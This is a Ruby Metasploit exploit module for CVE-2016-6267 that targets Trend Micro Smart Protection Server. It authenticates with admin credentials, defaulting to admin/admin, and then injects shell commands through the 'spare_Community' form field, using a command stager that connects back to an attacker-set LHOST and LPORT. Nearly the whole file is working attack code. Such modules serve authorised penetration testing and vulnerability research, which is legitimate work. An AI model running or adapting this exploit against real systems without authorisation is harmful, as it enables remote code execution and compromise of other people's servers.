##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'
require 'base64'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Trend Micro Smart Protection Server Exec Remote Code Injection",
      'Description'    => %q{
        This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection.
        Please note: authentication is required to exploit this vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Quentin Kaiser <kaiserquentin[at]gmail.com>'
        ],
      'References'     =>
        [
          ['CVE-ID', 'CVE-2016-6267']
        ],
      'Platform'        => 'linux',
      'Targets'         => [ [ 'Linux', {} ] ],
      'Payload'         => { 'BadChars' => "\x00" },
      'CmdStagerFlavor' => [ 'bourne' ],
      'Privileged'     => false,
      'DefaultOptions' =>
      {
         'SSL' => true
      },
      'DisclosureDate' => "Aug 8 2016",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('SSL', [ true, 'Use SSL', true ]),
        OptString.new('TARGETURI', [true, 'The base path', '/']),
        OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]),
        OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]),
        OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']),
        OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']),
      ])
  end


  def check
    opts = login
    if opts
      uri = target_uri.path
      res = send_request_cgi({
        'method'   => 'GET',
        'uri'      => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"),
        'headers'=>
        {
          'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
          'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
          'Origin' =>  "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
        }
      })
      if res and res.code == 200
        version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*<td[^>]*>([^<]*)</).last.first.to_f
        build = res.body.to_s.scan(/MSG_ABOUT_BUILD <\/td>[^<]*<td[^>]*><span[^>]*>([^<]*)</).last.first.to_i(10)
        print_status("TrendMicro Smart Protection Server detected.")
        print_status("Version: #{version}")
        print_status("Build: #{build}")
        if (version == 3.0 and build < 1330) or
          (version == 2.6 and build < 2106) or
          (version == 2.5 and build < 2200)
            return Exploit::CheckCode::Vulnerable
        else
          return Exploit::CheckCode::Safe
        end
      end
    end
    Exploit::CheckCode::Unknown
  end


  def execute_command(cmd, opts = {})
    uri = target_uri.path
    send_request_cgi({
      'method' => 'POST',
      'version' => '1.0',
      'timeout' => 1,
      'uri' => normalize_uri(uri, 'php/admin_notification.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers'=>
      {
        'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
        'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
        'Origin' =>  "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
      },
      'vars_post' => {
        'EnableSNMP' => 'on',
        'Community' => 'hello',
        'submit' => 'Save',
        'pubkey' => '',
        'spare_EnableSNMP' => 1,
        'spare_Community' => "test;#{cmd}",
        'spare_EnableIPRestriction' => 0,
        'spare_AllowGroupIP' => '',
        'spare_AllowGroupNetmask' => '',
        'sid' => opts["sid"]
      }
    })
  end

  def login
    uri = target_uri.path
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php'),
    })
    if res and res.code == 200 and !res.get_cookies.empty?
      sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip
      sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first
      n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first
      nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first
      asn1_sequence = OpenSSL::ASN1::Sequence.new(
        [
          OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)),
          OpenSSL::ASN1::Integer.new("0x10001".to_i(16))
        ]
      )
      public_key = OpenSSL::PKey::RSA.new(asn1_sequence)
      creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}"
      data = Base64.encode64(public_key.public_encrypt(creds))
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(uri, "auth.php"),
        'ctype' => 'application/x-www-form-urlencoded',
        'headers'=>
        {
          'Cookie' => "#{sid}=#{sid_value}",
          'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
          'Origin' =>  "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
        },
        'vars_post' => {
          'data' => data,
          'sid' => sid
        }
      })
      if res and res.code == 302
        if res.headers.key?('Set-Cookie')
          sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first
          sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first
        end
        store_valid_credential(user: datastore['ADMINACCOUNT'], private: datastore['ADMINPASS'], proof: "#{sid}=#{sid_value}")
        return {"sid" => sid, "sid_value" => sid_value}
      end
    end
    nil
  end

  def exploit
    opts = login
    if opts
      print_good("Successfully logged in")
      print_status("Exploiting...")
      execute_cmdstager(opts=opts)
    else
      print_error("An error occurred while logged in")
    end
  end
end
